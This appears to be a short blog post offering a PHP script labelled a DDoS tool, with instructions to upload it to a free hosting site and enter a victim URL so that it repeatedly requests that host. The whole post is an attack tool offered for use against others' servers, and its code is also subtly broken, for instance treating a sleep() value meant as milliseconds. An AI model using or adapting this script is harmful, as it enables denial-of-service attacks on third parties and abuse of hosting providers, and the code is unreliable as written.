You must upload this to a free hosting site, and type the info in. And it will ddos the host you typed in the info..
PHP CODE:
/**
* phpCuRL_DDoS t00l
*/
// EDIT
$url = "http://TARGET.com/"; // victim url
$times = 50; // how many attacks
$wait = 500; // waiting in miliseconds, 1000 is 1 second
$attack = 0; // set to 1 to ddos, and 0 to not
// EDIT
$footer = "removed";
if($attack == 0){
echo "[-] Operation Aborted\n";
} else {
if(ereg("http://(.*)/", $url)){
echo "[+] starting on $url\n";
ddos($url, $times, $wait);
} else {
echo "[-] Invalid url\n";
}
}
function ddos($url, $times, $wait){
for($i = 0;$i < $times;$i++){
sleep($wait);
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$do = curl_exec($ch);
if($do){
echo "[+][$i] Attacked :: $url\n";
curl_close($ch);
} else {
echo "[-][$i] Error :: $url\n";
curl_close($ch);
}
flush();
}
echo "[+]=- Done! -=[+]\n";
echo "Hacks -- \n$footer";
}
?>
No comments:
Post a Comment